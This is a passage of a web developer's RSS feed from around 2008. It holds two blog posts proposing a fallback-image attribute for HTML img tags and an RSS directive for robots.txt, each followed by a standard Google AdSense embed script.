		<category><![CDATA[html 5]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=190</guid>
		<description><![CDATA[As a developer, there are certain things I find a bit frustrating about HTML and PHP programming, and this is one of them.
I&#8217;m regularly called upon to build shops, or very simple CMS systems with image upload facilities. This is fine, no complaints about that, but when you&#8217;re creating a CMS with image uploads, you [...]]]></description>
			<content:encoded><![CDATA[<p>As a developer, there are certain things I find a bit frustrating about HTML and PHP programming, and this is one of them.</p>
<p>I&#8217;m regularly called upon to build shops, or very simple CMS systems with image upload facilities. This is fine, no complaints about that, but when you&#8217;re creating a CMS with image uploads, you always need to handle what happens when your user doesn&#8217;t upload an image &#8211; or what happens if an image is deleted.</p>
<p>Now I know it&#8217;s trivial to create an if statement to conditionally show an image or not, but it would be even more trivial if we could just add another attribute to X/HTML &lt;img&gt; tags to allow specifying an alternative image if no image is available. I know we already have the alt tag, to show text or help users with screen readers, but how about something like altimg=&#8221;image.gif&#8221; as a new attribute?  Then you could just set it up once and everytime an image tag is loaded without a src=&#8221;" attribute, or the file specified by the src=&#8221;" attribute is missing you have a fallback image.</p>
<p>It would mean marginally less typing for me, potentially saving me from the devastating effects of RSI! It could also result in a slightly better end-user experience abolishing those nasty placeholders in IE (and firefox if you have that setting switched on.</p>
<p>Perhaps this has already been suggested elsewhere, I don&#8217;t know, and to be honest I haven&#8217;t really followed the <a href="http://www.w3.org/html/wg/html5/">HTML 5 development</a> so far, so if this (or something similar) is already in there a) please let me know b) great.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/proposal-for-html-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/web-development/proposal-for-html-5/</feedburner:origLink></item>
		<item>
		<title>A proposal for robots.txt – RSS feeds</title>
		<link>http://feedproxy.google.com/~r/LeadingEdgeScripts/~3/PC50rMi_zO4/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/a-proposal-for-robotstxt-rss-feeds/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 11:27:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Search Engine Optimisation]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[robots.txt]]></category>
		<category><![CDATA[rss feeds]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=186</guid>
		<description><![CDATA[Ok, so I know that you can link to RSS feeds via your HTML using
&#60;link href="" rel="alternate" type="application/rss+xml" title="" /&#62;
but since we&#8217;re already using starting to use robots.txt files to reference our sitemaps like so:
Sitemap: &#60;sitemap_location&#62;
why not use it to reference our RSS feeds as well? It would be trivial do something like this in [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, so I know that you can link to RSS feeds via your HTML using</p>
<pre id="line1">&lt;<span class="start-tag">link</span><span class="attribute-name"> href</span>=<span class="attribute-value">"" </span><span class="attribute-name">rel</span>=<span class="attribute-value">"alternate" </span><span class="attribute-name">type</span>=<span class="attribute-value">"application/rss+xml" </span><span class="attribute-name">title</span>=<span class="attribute-value">"" </span><span class="error"><span class="attribute-name">/</span></span>&gt;</pre>
<p>but since we&#8217;re already using starting to <a href="http://www.sitemaps.org/protocol.php">use robots.txt files to reference our sitemaps</a> like so:</p>
<pre>Sitemap: &lt;sitemap_location&gt;</pre>
<p>why not use it to reference our RSS feeds as well? It would be trivial do something like this in a sitemap:</p>
<pre>RSS: &lt;feed_location&gt;</pre>
<p>Thoughts anyone?</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/a-proposal-for-robotstxt-rss-feeds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://leadingedgescripts.co.uk/web-development/a-proposal-for-robotstxt-rss-feeds/</feedburner:origLink></item>
	</channel>
</rss>
